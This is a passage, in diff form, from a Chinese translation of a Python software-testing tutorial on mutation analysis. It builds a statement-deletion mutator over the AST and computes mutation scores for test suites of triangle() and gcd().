+
+```
+
+我们可以使用`inspect.getsource()`获得Python函数的源代码。 （请注意，这不适用于其他笔记本中定义的功能。）
+
+```py
+triangle_source = inspect.getsource(triangle)
+triangle_source
+
+```
+
+```py
+'def triangle(a, b, c):\n    if a == b:\n        if b == c:\n            return \'Equilateral\'\n        else:\n            return \'Isosceles\'\n    else:\n        if b == c:\n            return "Isosceles"\n        else:\n            if a == c:\n                return "Isosceles"\n            else:\n                return "Scalene"\n'
+
+```
+
+为了以令人愉悦的形式查看这些内容，我们的函数`print_content(s, suffix)`格式化并突出显示了字符串`s`，就像它是一个以`suffix`结尾的文件一样。 因此，我们可以像查看Python文件一样查看（并突出显示）源：
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import print_content
+
+```
+
+```py
+print_content(triangle_source, '.py')
+
+```
+
+```py
+def triangle(a, b, c):
+    if a == b:
+        if b == c:
+            return 'Equilateral'
+        else:
+            return 'Isosceles'
+    else:
+        if b == c:
+            return "Isosceles"
+        else:
+            if a == c:
+                return "Isosceles"
+            else:
+                return "Scalene"
+
+```
+
+对此进行解析可以为我们提供抽象语法树（AST）-以树形式表示程序。
+
+```py
+triangle_ast = ast.parse(triangle_source)
+
+```
+
+这个AST是什么样的？ 辅助功能`astor.dump_tree()`（文本输出）和`showast.show_ast()`（带有 [showast](https://github.com/hchasestevens/show_ast) 的图形输出）使我们可以检查树的结构。 我们看到函数以带有名称和参数的`FunctionDef`开始，后跟一个主体，该主体是`Expr`类型（文档字符串），`Assign`类型（赋值），`While`类型的语句列表 环回自己的身体），最后`Return`。
+
+```py
+print(astor.dump_tree(triangle_ast))
+
+```
+
+```py
+Module(
+    body=[
+        FunctionDef(name='triangle',
+            args=arguments(
+                args=[arg(arg='a', annotation=None), arg(arg='b', annotation=None), arg(arg='c', annotation=None)],
+                vararg=None,
+                kwonlyargs=[],
+                kw_defaults=[],
+                kwarg=None,
+                defaults=[]),
+            body=[
+                If(test=Compare(left=Name(id='a'), ops=[Eq], comparators=[Name(id='b')]),
+                    body=[
+                        If(test=Compare(left=Name(id='b'), ops=[Eq], comparators=[Name(id='c')]),
+                            body=[Return(value=Str(s='Equilateral'))],
+                            orelse=[Return(value=Str(s='Isosceles'))])],
+                    orelse=[
+                        If(test=Compare(left=Name(id='b'), ops=[Eq], comparators=[Name(id='c')]),
+                            body=[Return(value=Str(s='Isosceles'))],
+                            orelse=[
+                                If(test=Compare(left=Name(id='a'), ops=[Eq], comparators=[Name(id='c')]),
+                                    body=[Return(value=Str(s='Isosceles'))],
+                                    orelse=[Return(value=Str(s='Scalene'))])])])],
+            decorator_list=[],
+            returns=None)])
+
+```
+
+文字太多了吗？ 这种图形表示可以使事情变得更简单。
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import rich_output
+
+```
+
+```py
+if rich_output():
+    import [showast](https://docs.python.org/3/library/showast.html)
+    showast.show_ast(triangle_ast)
+
+```
+
+<svg height="476pt" viewBox="0.00 0.00 1810.50 476.00" width="1811pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 472)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="119" y="-447.3">FunctionDef</text></g> <g class="node" id="node2"><title>1</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="50.5" y="-374.3">"triangle"</text></g> <g class="edge" id="edge1"><title>0--1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="127.5" y="-375.3">arguments</text></g> <g class="edge" id="edge2"><title>0--2</title></g> <g class="node" id="node10"><title>9</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="481" y="-375.3">If</text></g> <g class="edge" id="edge9"><title>0--9</title></g> <g class="node" id="node4"><title>3</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="44.5" y="-303.3">arg</text></g> <g class="edge" id="edge3"><title>2--3</title></g> <g class="node" id="node6"><title>5</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="116.5" y="-303.3">arg</text></g> <g class="edge" id="edge5"><title>2--5</title></g> <g class="node" id="node8"><title>7</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="188.5" y="-303.3">arg</text></g> <g class="edge" id="edge7"><title>2--7</title></g> <g class="node" id="node5"><title>4</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="57.5" y="-230.3">"a"</text></g> <g class="edge" id="edge4"><title>3--4</title></g> <g class="node" id="node7"><title>6</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="129.5" y="-230.3">"b"</text></g> <g class="edge" id="edge6"><title>5--6</title></g> <g class="node" id="node9"><title>8</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="201.5" y="-230.3">"c"</text></g> <g class="edge" id="edge8"><title>7--8</title></g> <g class="node" id="node11"><title>10</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="352" y="-303.3">Compare</text></g> <g class="edge" id="edge10"><title>9--10</title></g> <g class="node" id="node19"><title>18</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="643" y="-303.3">If</text></g> <g class="edge" id="edge18"><title>9--18</title></g> <g class="node" id="node34"><title>33</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1192" y="-303.3">If</text></g> <g class="edge" id="edge33"><title>9--33</title></g> <g class="node" id="node12"><title>11</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="256.5" y="-231.3">Name</text></g> <g class="edge" id="edge11"><title>10--11</title></g> <g class="node" id="node15"><title>14</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="345.5" y="-230.3">Eq</text></g> <g class="edge" id="edge14"><title>10--14</title></g> <g class="node" id="node16"><title>15</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="400.5" y="-231.3">Name</text></g> <g class="edge" id="edge15"><title>10--15</title></g> <g class="node" id="node13"><title>12</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="201.5" y="-158.3">"a"</text></g> <g class="edge" id="edge12"><title>11--12</title></g> <g class="node" id="node14"><title>13</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="273.5" y="-158.3">Load</text></g> <g class="edge" id="edge13"><title>11--13</title></g> <g class="node" id="node17"><title>16</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="345.5" y="-158.3">"b"</text></g> <g class="edge" id="edge16"><title>15--16</title></g> <g class="node" id="node18"><title>17</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="417.5" y="-158.3">Load</text></g> <g class="edge" id="edge17"><title>15--17</title></g> <g class="node" id="node20"><title>19</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="555" y="-231.3">Compare</text></g> <g class="edge" id="edge19"><title>18--19</title></g> <g class="node" id="node28"><title>27</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="660" y="-231.3">Return</text></g> <g class="edge" id="edge27"><title>18--27</title></g> <g class="node" id="node31"><title>30</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="793" y="-231.3">Return</text></g> <g class="edge" id="edge30"><title>18--30</title></g> <g class="node" id="node21"><title>20</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="472.5" y="-159.3">Name</text></g> <g class="edge" id="edge20"><title>19--20</title></g> <g class="node" id="node24"><title>23</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="561.5" y="-158.3">Eq</text></g> <g class="edge" id="edge23"><title>19--23</title></g> <g class="node" id="node25"><title>24</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="616.5" y="-159.3">Name</text></g> <g class="edge" id="edge24"><title>19--24</title></g> <g class="node" id="node22"><title>21</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="417.5" y="-86.3">"b"</text></g> <g class="edge" id="edge21"><title>20--21</title></g> <g class="node" id="node23"><title>22</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="489.5" y="-86.3">Load</text></g> <g class="edge" id="edge22"><title>20--22</title></g> <g class="node" id="node26"><title>25</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="561.5" y="-86.3">"c"</text></g> <g class="edge" id="edge25"><title>24--25</title></g> <g class="node" id="node27"><title>26</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="633.5" y="-86.3">Load</text></g> <g class="edge" id="edge26"><title>24--26</title></g> <g class="node" id="node29"><title>28</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="717.5" y="-159.3">Str</text></g> <g class="edge" id="edge28"><title>27--28</title></g> <g class="node" id="node30"><title>29</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="741.5" y="-86.3">"Equilateral"</text></g> <g class="edge" id="edge29"><title>28--29</title></g> <g class="node" id="node32"><title>31</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="835.5" y="-159.3">Str</text></g> <g class="edge" id="edge31"><title>30--31</title></g> <g class="node" id="node33"><title>32</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="877.5" y="-86.3">"Isosceles"</text></g> <g class="edge" id="edge32"><title>31--32</title></g> <g class="node" id="node35"><title>34</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1109" y="-231.3">Compare</text></g> <g class="edge" id="edge34"><title>33--34</title></g> <g class="node" id="node43"><title>42</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1220" y="-231.3">Return</text></g> <g class="edge" id="edge42"><title>33--42</title></g> <g class="node" id="node46"><title>45</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1531" y="-231.3">If</text></g> <g class="edge" id="edge45"><title>33--45</title></g> <g class="node" id="node36"><title>35</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1032.5" y="-159.3">Name</text></g> <g class="edge" id="edge35"><title>34--35</title></g> <g class="node" id="node39"><title>38</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1121.5" y="-158.3">Eq</text></g> <g class="edge" id="edge38"><title>34--38</title></g> <g class="node" id="node40"><title>39</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1176.5" y="-159.3">Name</text></g> <g class="edge" id="edge39"><title>34--39</title></g> <g class="node" id="node37"><title>36</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="977.5" y="-86.3">"b"</text></g> <g class="edge" id="edge36"><title>35--36</title></g> <g class="node" id="node38"><title>37</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1049.5" y="-86.3">Load</text></g> <g class="edge" id="edge37"><title>35--37</title></g> <g class="node" id="node41"><title>40</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1121.5" y="-86.3">"c"</text></g> <g class="edge" id="edge40"><title>39--40</title></g> <g class="node" id="node42"><title>41</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1193.5" y="-86.3">Load</text></g> <g class="edge" id="edge41"><title>39--41</title></g> <g class="node" id="node44"><title>43</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1266.5" y="-159.3">Str</text></g> <g class="edge" id="edge43"><title>42--43</title></g> <g class="node" id="node45"><title>44</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1293.5" y="-86.3">"Isosceles"</text></g> <g class="edge" id="edge44"><title>43--44</title></g> <g class="node" id="node47"><title>46</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1445" y="-159.3">Compare</text></g> <g class="edge" id="edge46"><title>45--46</title></g> <g class="node" id="node55"><title>54</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1579" y="-159.3">Return</text></g> <g class="edge" id="edge54"><title>45--54</title></g> <g class="node" id="node58"><title>57</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1702" y="-159.3">Return</text></g> <g class="edge" id="edge57"><title>45--57</title></g> <g class="node" id="node48"><title>47</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1376.5" y="-87.3">Name</text></g> <g class="edge" id="edge47"><title>46--47</title></g> <g class="node" id="node51"><title>50</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1465.5" y="-86.3">Eq</text></g> <g class="edge" id="edge50"><title>46--50</title></g> <g class="node" id="node52"><title>51</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1520.5" y="-87.3">Name</text></g> <g class="edge" id="edge51"><title>46--51</title></g> <g class="node" id="node49"><title>48</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1321.5" y="-14.3">"a"</text></g> <g class="edge" id="edge48"><title>47--48</title></g> <g class="node" id="node50"><title>49</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1393.5" y="-14.3">Load</text></g> <g class="edge" id="edge49"><title>47--49</title></g> <g class="node" id="node53"><title>52</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1465.5" y="-14.3">"c"</text></g> <g class="edge" id="edge52"><title>51--52</title></g> <g class="node" id="node54"><title>53</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1537.5" y="-14.3">Load</text></g> <g class="edge" id="edge53"><title>51--53</title></g> <g class="node" id="node56"><title>55</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1610.5" y="-87.3">Str</text></g> <g class="edge" id="edge55"><title>54--55</title></g> <g class="node" id="node57"><title>56</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1637.5" y="-14.3">"Isosceles"</text></g> <g class="edge" id="edge56"><title>55--56</title></g> <g class="node" id="node59"><title>58</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1724.5" y="-87.3">Str</text></g> <g class="edge" id="edge58"><title>57--58</title></g> <g class="node" id="node60"><title>59</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1756.5" y="-14.3">"Scalene"</text></g> <g class="edge" id="edge59"><title>58--59</title></g></g></svg>
+
+函数`astor.to_source()`将这种树转换回更熟悉的文本Python代码表示形式。
+
+```py
+print_content(astor.to_source(triangle_ast), '.py')
+
+```
+
+```py
+def triangle(a, b, c):
+    if a == b:
+        if b == c:
+            return 'Equilateral'
+        else:
+            return 'Isosceles'
+    elif b == c:
+        return 'Isosceles'
+    elif a == c:
+        return 'Isosceles'
+    else:
+        return 'Scalene'
+
+```
+
+## 一个简单的函数突变器
+
+现在让我们去修改`triangle()`程序。 产生此程序的有效变异版本的一种简单方法是将其某些语句替换为`pass`。
+
+`MuFunctionAnalyzer`是负责测试套件突变分析的主要类。 它接受要测试的功能。 使用上面讨论的功能，它将通过解析和解析一次给出的源代码标准化。 这是必需的，以确保原始和突变体之间的`diff`之后不会因空白注释等的差异而脱轨。
+
+```py
+class MuFunctionAnalyzer:
+    def __init__(self, fn, log=False):
+        self.fn = fn
+        self.name = fn.__name__
+        src = inspect.getsource(fn)
+        self.ast = ast.parse(src)
+        self.src = astor.to_source(self.ast)  # normalize
+        self.mutator = self.mutator_object()
+        self.nmutations = self.get_mutation_count()
+        self.un_detected = set()
+        self.mutants = []
+        self.log = log
+
+    def mutator_object(self, locations=None):
+        return StmtDeletionMutator(locations)
+
+    def register(self, m):
+        self.mutants.append(m)
+
+    def finish(self):
+        pass
+
+```
+
+`get_mutation_count()`获取可用的可能突变数。 稍后我们将看到如何实现。
+
+```py
+class MuFunctionAnalyzer(MuFunctionAnalyzer):
+    def get_mutation_count(self):
+        self.mutator.visit(self.ast)
+        return self.mutator.count
+
+```
+
+`Mutator`提供了实现单个突变的基类。 它接受要突变的位置列表。 假定方法`mutable_visit()`在子类确定的所有感兴趣的节点上被调用。 当调用`Mutator`而没有要突变的位置列表时，它仅循环遍历所有可能的突变点，并在`self.count`中保留计数。 如果使用要突变的特定位置列表调用它，则`mutable_visit()`方法将调用`mutation_visit()`，该节点将在节点上执行突变。 请注意，单个位置可以产生多个突变。 （因此，哈希图）。
+
+```py
+class Mutator(ast.NodeTransformer):
+    def __init__(self, mutate_location=-1):
+        self.count = 0
+        self.mutate_location = mutate_location
+
+    def mutable_visit(self, node):
+        self.count += 1  # statements start at line no 1
+        if self.count == self.mutate_location:
+            return self.mutation_visit(node)
+        return self.generic_visit(node)
+
+```
+
+`StmtDeletionMutator`只是挂接到所有处理语句的访问者中。 它通过将给定的语句替换为`pass`来执行变异。 如您所见，它访问各种语句。
+
+```py
+class StmtDeletionMutator(Mutator):
+    def visit_Return(self, node): return self.mutable_visit(node)
+    def visit_Delete(self, node): return self.mutable_visit(node)
+
+    def visit_Assign(self, node): return self.mutable_visit(node)
+    def visit_AnnAssign(self, node): return self.mutable_visit(node)
+    def visit_AugAssign(self, node): return self.mutable_visit(node)
+
+    def visit_Raise(self, node): return self.mutable_visit(node)
+    def visit_Assert(self, node): return self.mutable_visit(node)
+
+    def visit_Global(self, node): return self.mutable_visit(node)
+    def visit_Nonlocal(self, node): return self.mutable_visit(node)
+
+    def visit_Expr(self, node): return self.mutable_visit(node)
+
+    def visit_Pass(self, node): return self.mutable_visit(node)
+    def visit_Break(self, node): return self.mutable_visit(node)
+    def visit_Continue(self, node): return self.mutable_visit(node)
+
+```
+
+实际的突变包括用`pass`语句替换节点：
+
+```py
+class StmtDeletionMutator(StmtDeletionMutator):
+    def mutation_visit(self, node): return ast.Pass()    
+
+```
+
+对于`triangle()`，此访问者产生五个突变-即用`pass`替换五个`return`语句：
+
+```py
+MuFunctionAnalyzer(triangle).nmutations
+
+```
+
+```py
+5
+
+```
+
+我们需要一种获得单个突变体的方法。 为此，我们将`MuFunctionAnalyzer`转换为*可迭代的*。
+
+```py
+class MuFunctionAnalyzer(MuFunctionAnalyzer):
+    def __iter__(self):
+        return PMIterator(self)
+
+```
+
+`PMIterator`定义为`MuFunctionAnalyzer`的*迭代器*类。
+
+```py
+class PMIterator:
+    def __init__(self, pm):
+        self.pm = pm
+        self.idx = 0
+
+```
+
+`next()`方法返回相应的`Mutant`：
+
+```py
+class PMIterator(PMIterator):
+    def __next__(self):
+        i = self.idx
+        if i >= self.pm.nmutations:
+            self.pm.finish()
+            raise StopIteration()
+        self.idx += 1
+        mutant = Mutant(self.pm, self.idx, log=self.pm.log)
+        self.pm.register(mutant)
+        return mutant
+
+```
+
+`Mutant`类包含用于在给定要突变的位置时生成突变体的逻辑。
+
+```py
+class Mutant:
+    def __init__(self, pm, location, log=False):
+        self.pm = pm
+        self.i = location
+        self.name = "%s_%s" % (self.pm.name, self.i)
+        self._src = None
+        self.tests = []
+        self.detected = False
+        self.log = log
+
+```
+
+使用方法如下：
+
+```py
+for m in MuFunctionAnalyzer(triangle):
+    print(m.name)
+
+```
+
+```py
+triangle_1
+triangle_2
+triangle_3
+triangle_4
+triangle_5
+
+```
+
+这些名称还有些通用。 让我们看看是否可以对产生的突变有更多的了解。
+
+`generate_mutant()`只需调用`mutator()`方法，并向mutator传递AST的副本。
+
+```py
+class Mutant(Mutant):
+    def generate_mutant(self, location):
+        mutant_ast = self.pm.mutator_object(
+            location).visit(ast.parse(self.pm.src))  # copy
+        return astor.to_source(mutant_ast)
+
+```
+
+`src()`方法返回变异的源。
+
+```py
+class Mutant(Mutant):
+    def src(self):
+        if self._src is None:
+            self._src = self.generate_mutant(self.i)
+        return self._src
+
+```
+
+这是获取突变体并显示与原始突变的区别的方式：
+
+```py
+import [difflib](https://docs.python.org/3/library/difflib.html)
+
+```
+
+```py
+for mutant in MuFunctionAnalyzer(triangle):
+    shape_src = mutant.pm.src
+    for line in difflib.unified_diff(mutant.pm.src.split('\n'),
+                                     mutant.src().split('\n'),
+                                     fromfile=mutant.pm.name,
+                                     tofile=mutant.name, n=3):
+        print(line)
+
+```
+
+```py
+--- triangle
+
++++ triangle_1
+
+@@ -1,7 +1,7 @@
+
+ def triangle(a, b, c):
+     if a == b:
+         if b == c:
+-            return 'Equilateral'
++            pass
+         else:
+             return 'Isosceles'
+     elif b == c:
+--- triangle
+
++++ triangle_2
+
+@@ -3,7 +3,7 @@
+
+         if b == c:
+             return 'Equilateral'
+         else:
+-            return 'Isosceles'
++            pass
+     elif b == c:
+         return 'Isosceles'
+     elif a == c:
+--- triangle
+
++++ triangle_3
+
+@@ -5,7 +5,7 @@
+
+         else:
+             return 'Isosceles'
+     elif b == c:
+-        return 'Isosceles'
++        pass
+     elif a == c:
+         return 'Isosceles'
+     else:
+--- triangle
+
++++ triangle_4
+
+@@ -7,7 +7,7 @@
+
+     elif b == c:
+         return 'Isosceles'
+     elif a == c:
+-        return 'Isosceles'
++        pass
+     else:
+         return 'Scalene'
+
+--- triangle
+
++++ triangle_5
+
+@@ -9,5 +9,5 @@
+
+     elif a == c:
+         return 'Isosceles'
+     else:
+-        return 'Scalene'
++        pass
+
+```
+
+在此`diff`输出中，添加以`+`前缀的行，而以`-`前缀的行被删除。 我们看到五个突变体的每一个确实用`pass`语句替换了return语句。
+
+我们将`diff()`方法添加到`Mutant`，以便可以直接调用它。
+
+```py
+class Mutant(Mutant):
+    def diff(self):
+        return '\n'.join(difflib.unified_diff(self.pm.src.split('\n'),
+                                              self.src().split('\n'),
+                                              fromfile='original',
+                                              tofile='mutant',
+                                              n=3))
+
+```
+
+## 评估突变
+
+我们现在准备实施实际评估。 我们将变量定义为*上下文管理器*，它可以验证给定的所有断言是否成功。 这个想法是我们可以编写如下代码
+
+```py
+for mutant in MuFunctionAnalyzer(function):
+    with mutant:
+        assert function(x) == y
+
+```
+
+当`mutant`处于活动状态时（即`with:`下的代码块），原始功能被替换为替换功能。
+
+输入`with`块时，将调用`__enter__()`功能。 它将突变体创建为Python函数并将其放置在全局名称空间中，以使`assert`语句执行变异函数而不是原始函数。
+
+```py
+class Mutant(Mutant):
+    def __enter__(self):
+        if self.log:
+            print('->\t%s' % self.name)
+        c = compile(self.src(), '<mutant>', 'exec')
+        eval(c, globals())
+
+```
+
+`__exit__()`函数检查是否发生了异常（即断言失败或引发了其他错误）； 如果是这样，则将其标记为`detected`。 最后，它将恢复原始函数定义。
+
+```py
+class Mutant(Mutant):
+    def __exit__(self, exc_type, exc_value, traceback):
+        if self.log:
+            print('<-\t%s' % self.name)
+        if exc_type is not None:
+            self.detected = True
+            if self.log:
+                print("Detected %s" % self.name, exc_type, exc_value)
+        globals()[self.pm.name] = self.pm.fn
+        if self.log:
+            print()
+        return True
+
+```
+
+`finish()`方法仅在突变体上调用该方法，检查是否发现了该突变体，然后返回结果。
+
+```py
+from [ExpectError](ExpectError.html) import ExpectTimeout
+
+```
+
+```py
+class MuFunctionAnalyzer(MuFunctionAnalyzer):
+    def finish(self):
+        self.un_detected = {
+            mutant for mutant in self.mutants if not mutant.detected}
+
+```
+
+突变分数-由测试套件检测到的突变体比率-由`score()`计算。 分数为1.0表示发现了所有突变体。 得分为0.1表示仅检测到10％的突变体。
+
+```py
+class MuFunctionAnalyzer(MuFunctionAnalyzer):
+    def score(self):
+        return (self.nmutations - len(self.un_detected)) / self.nmutations
+
+```
+
+这是我们如何使用我们的框架。
+
+```py
+import [sys](https://docs.python.org/3/library/sys.html)
+
+```
+
+```py
+for mutant in MuFunctionAnalyzer(triangle, log=True):
+    with mutant:
+        assert triangle(1, 1, 1) == 'Equilateral', "Equal Check1"
+        assert triangle(1, 0, 1) != 'Equilateral', "Equal Check2"
+        assert triangle(1, 0, 2) != 'Equilateral', "Equal Check3"
+mutant.pm.score()
+
+```
+
+```py
+->	triangle_1
+<-	triangle_1
+Detected triangle_1 <class 'AssertionError'> Equal Check1
+
+->	triangle_2
+<-	triangle_2
+
+->	triangle_3
+<-	triangle_3
+
+->	triangle_4
+<-	triangle_4
+
+->	triangle_5
+<-	triangle_5
+
+```
+
+```py
+0.2
+
+```
+
+五分之二的突变中只有一个导致断言失败。 因此，`weak_oracle()`测试套件的突变得分为20％。
+
+```py
+for mutant in MuFunctionAnalyzer(triangle):
+    with mutant:
+        weak_oracle(triangle)
+mutant.pm.score()
+
+```
+
+```py
+0.2
+
+```
+
+由于我们正在修改全局名称空间，因此我们不必直接在mutant的for循环内引用该函数。
+
+```py
+def oracle():
+    strong_oracle(triangle)
+
+```
+
+```py
+for mutant in MuFunctionAnalyzer(triangle, log=True):
+    with mutant:
+        oracle()
+mutant.pm.score()
+
+```
+
+```py
+->	triangle_1
+<-	triangle_1
+Detected triangle_1 <class 'AssertionError'> 
+
+->	triangle_2
+<-	triangle_2
+Detected triangle_2 <class 'AssertionError'> 
+
+->	triangle_3
+<-	triangle_3
+Detected triangle_3 <class 'AssertionError'> 
+
+->	triangle_4
+<-	triangle_4
+Detected triangle_4 <class 'AssertionError'> 
+
+->	triangle_5
+<-	triangle_5
+Detected triangle_5 <class 'AssertionError'> 
+
+```
+
+```py
+1.0
+
+```
+
+也就是说，我们可以通过`strong_oracle()`测试套件获得`100%`突变评分。
+
+这是另一个例子。 `gcd()`计算两个数字的最大公约数。
+
+```py
+def gcd(a, b):
+    if a < b:
+        c = a
+        a = b
+        b = c
+
+    while b != 0:
+        c = a
+        a = b
+        b = c % b
+    return a
+
+```
+
+这是一个测试。 效果如何？
+
+```py
+for mutant in MuFunctionAnalyzer(gcd, log=True):
+    with mutant:
+        assert gcd(1, 0) == 1, "Minimal"
+        assert gcd(0, 1) == 1, "Mirror"
+mutant.pm.score()
+
+```
+
+```py
+->	gcd_1
+<-	gcd_1
+Detected gcd_1 <class 'UnboundLocalError'> local variable 'c' referenced before assignment
+
+->	gcd_2
+<-	gcd_2
+Detected gcd_2 <class 'AssertionError'> Mirror
+
+->	gcd_3
+<-	gcd_3
+
+->	gcd_4
+<-	gcd_4
+
+->	gcd_5
+<-	gcd_5
+
+->	gcd_6
+<-	gcd_6
+
+->	gcd_7
+<-	gcd_7
+Detected gcd_7 <class 'AssertionError'> Minimal
+
+```
+
+```py
+0.42857142857142855
+
+```
+
+我们看到，我们的`TestGCD`测试套件能够获得42％的突变评分。
+
+## 模块和测试套件的变量
+
+考虑我们前面讨论的`triangle()`程序。 正如我们所讨论的，产生此程序的有效变异版本的一种简单方法是将其某些语句替换为`pass`。
+
+出于演示目的，我们希望程序看起来像在另一个文件中一样。 我们可以通过在Python中生成`Module`对象并将函数附加到该对象来实现。
+
+```py
+import [imp](https://docs.python.org/3/library/imp.html)
+
+```
+
+```py
+def import_code(code, name):
+    module = imp.new_module(name)
+    exec(code, module.__dict__)
+    return module
+
+```
+
+我们将`triangle()`功能附加到`shape`模块。
+
+```py
+shape = import_code(shape_src, 'shape')
+
+```
+
+现在我们可以通过模块`shape`调用三角形。
+
+```py
+shape.triangle(1, 1, 1)
+
+```
+
+```py
+'Equilateral'
+
+```
+
+我们要测试`triangle()`功能。 为此，我们定义了一个`StrongShapeTest`类，如下所示。
+
+```py
+import [unittest](https://docs.python.org/3/library/unittest.html)
+
+```
+
+```py
+class StrongShapeTest(unittest.TestCase):
+
+    def test_equilateral(self):
+        assert shape.triangle(1, 1, 1) == 'Equilateral'
+
+    def test_isosceles(self):
+        assert shape.triangle(1, 2, 1) == 'Isosceles'
+        assert shape.triangle(2, 2, 1) == 'Isosceles'
+        assert shape.triangle(1, 2, 2) == 'Isosceles'
+
+    def test_scalene(self):
+        assert shape.triangle(1, 2, 3) == 'Scalene'
+
+```
+
+我们定义了一个帮助程序功能`suite()`，它可以查看给定的类并标识测试功能。
+
+```py
+def suite(test_class):
+    suite = unittest.TestSuite()
+    for f in test_class.__dict__:
+        if f.startswith('test_'):
+            suite.addTest(test_class(f))
+    return suite
+
+```
+
+可以使用不同的测试运行程序调用`TestTriangle`类中的测试。 最简单的方法是直接调用`TestCase`的`run()`方法。
+
+```py
+suite(StrongShapeTest).run(unittest.TestResult())
+
+```
+
+```py
+<unittest.result.TestResult run=3 errors=0 failures=0>
+
+```
+
+`TextTestRunner`类提供了控制执行的详细程度的能力。 它还允许在第一个*故障时返回*。**
+
+```py
+runner = unittest.TextTestRunner(verbosity=0, failfast=True)
+runner.run(suite(StrongShapeTest))
+
+```
+
+```py
+----------------------------------------------------------------------
+Ran 3 tests in 0.000s
+
+OK
+
+```
+
